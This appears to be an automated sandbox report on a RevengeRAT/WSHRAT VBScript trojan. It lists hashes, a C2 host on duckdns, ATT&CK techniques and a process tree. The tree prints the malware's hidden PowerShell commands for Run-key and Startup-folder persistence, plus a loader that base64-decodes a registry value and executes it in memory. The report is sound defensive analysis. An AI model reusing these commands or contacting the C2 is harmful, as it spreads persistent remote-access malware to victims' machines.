revengerat | 3d039a276556af992957c235fbdb216e79d1cf95787cab0e98f86158d4e34630

General

Target

e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs
Size

155KB
MD5

e3516f50c3eec802132c17e8250a82c5
SHA1

3a1ec1501f21809f34cdbb6dccb662de26e96791
SHA256

3d039a276556af992957c235fbdb216e79d1cf95787cab0e98f86158d4e34630
SHA512

3c972ec1612ab8ce7fb2b2e76bedd0d3a1e52afab8438b88aef29628b5c94260dc52219dcadc0076c4c9f0103fa4c9d0454dddb58d7f80e400f917d272e2999d
SSDEEP

3072:pjnXcHK4l+/Ms3p/kCP7BQdYj1DFi63iMS7iW6pKA8pCFt/W5EujzIkK8XsO7IeF:tp4liMs3p/kCP7BQd01DFi63iMS7iW6S

Score

10^/10

revengerat wshrat execution persistence stealer trojan

Malware Config

Extracted

Family

revengerat

Mutex

Extracted

Family

wshrat

C2

http://pluginsrv2.duckdns.org:8899

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/1704-45-0x0000019F1F9B0000-0x0000019F1F9B8000-memory.dmp	revengerat

Blocklisted process makes network request 32 IoCs

flow	pid	Process
8	1472	wscript.exe
9	1704	powershell.exe
19	1472	wscript.exe
26	1472	wscript.exe
27	1472	wscript.exe
28	1704	powershell.exe
29	1472	wscript.exe
36	1472	wscript.exe
44	1472	wscript.exe
45	1472	wscript.exe
46	1704	powershell.exe
47	1472	wscript.exe
48	1472	wscript.exe
49	1472	wscript.exe
52	1472	wscript.exe
53	1704	powershell.exe
54	1472	wscript.exe
55	1472	wscript.exe
56	1472	wscript.exe
59	1472	wscript.exe
64	1704	powershell.exe
65	1472	wscript.exe
66	1472	wscript.exe
67	1472	wscript.exe
68	1472	wscript.exe
69	1704	powershell.exe
70	1472	wscript.exe
71	1472	wscript.exe
72	1472	wscript.exe
73	1472	wscript.exe
74	1704	powershell.exe
75	1472	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1704	powershell.exe
3756	powershell.exe
4800	powershell.exe
1192	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TYkxdUNRwA.vbs	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TYkxdUNRwA.vbs	wscript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs	powershell.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TYkxdUNRwA = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\TYkxdUNRwA.vbs\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TYkxdUNRwA = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\TYkxdUNRwA.vbs\""	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3756	powershell.exe
3756	powershell.exe
4800	powershell.exe
1704	powershell.exe
1192	powershell.exe
1704	powershell.exe
4800	powershell.exe
1192	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 1472	2816	WScript.exe	82
PID 2816 wrote to memory of 1472	2816	WScript.exe	82
PID 2816 wrote to memory of 3756	2816	WScript.exe	83
PID 2816 wrote to memory of 3756	2816	WScript.exe	83
PID 3756 wrote to memory of 3944	3756	powershell.exe	86
PID 3756 wrote to memory of 3944	3756	powershell.exe	86
PID 3944 wrote to memory of 4916	3944	wscript.exe	87
PID 3944 wrote to memory of 4916	3944	wscript.exe	87
PID 3944 wrote to memory of 4800	3944	wscript.exe	88
PID 3944 wrote to memory of 4800	3944	wscript.exe	88
PID 3944 wrote to memory of 1192	3944	wscript.exe	90
PID 3944 wrote to memory of 1192	3944	wscript.exe	90
PID 3944 wrote to memory of 1704	3944	wscript.exe	92
PID 3944 wrote to memory of 1704	3944	wscript.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\TYkxdUNRwA.vbs"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  PID:1472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs'));wscript 'C:\Users\Admin\AppData\Roaming\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3944
  - - C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\TYkxdUNRwA.vbs"
      4⤵
      PID:4916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\Admin\AppData\Roaming\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs' -PropertyType String -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdm2khsh.hg3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\TYkxdUNRwA.vbs

Filesize
38KB

MD5
c0b5796adf455943dd775724c9764e54

SHA1
2b00d998feb0aa61a2606aecf0a6a947195438d7

SHA256
e388aca790fbb89713c272dcbbf3a892088cd622004ef77a05018dbb28557859

SHA512
968ae0524f7a3dc53b9331c1065f6f473333424c4a07e56797c05c2692deae4733e3e8b4af1db75c4fb27dd5b7015552d17385c6ab2dec9b7a14224524d4d568

Download Submit
C:\Users\Admin\AppData\Roaming\e3516f50c3eec802132c17e8250a82c5_JaffaCakes118.vbs

Filesize
155KB

MD5
e3516f50c3eec802132c17e8250a82c5

SHA1
3a1ec1501f21809f34cdbb6dccb662de26e96791

SHA256
3d039a276556af992957c235fbdb216e79d1cf95787cab0e98f86158d4e34630

SHA512
3c972ec1612ab8ce7fb2b2e76bedd0d3a1e52afab8438b88aef29628b5c94260dc52219dcadc0076c4c9f0103fa4c9d0454dddb58d7f80e400f917d272e2999d

Download Submit
memory/1704-45-0x0000019F1F9B0000-0x0000019F1F9B8000-memory.dmp

Filesize
32KB

Download
memory/3756-13-0x000001CE6EC40000-0x000001CE6EC62000-memory.dmp

Filesize
136KB

Download
memory/3756-14-0x000001CE6F280000-0x000001CE6F2C4000-memory.dmp

Filesize
272KB

Download
memory/3756-17-0x000001CE6F350000-0x000001CE6F3C6000-memory.dmp

Filesize
472KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads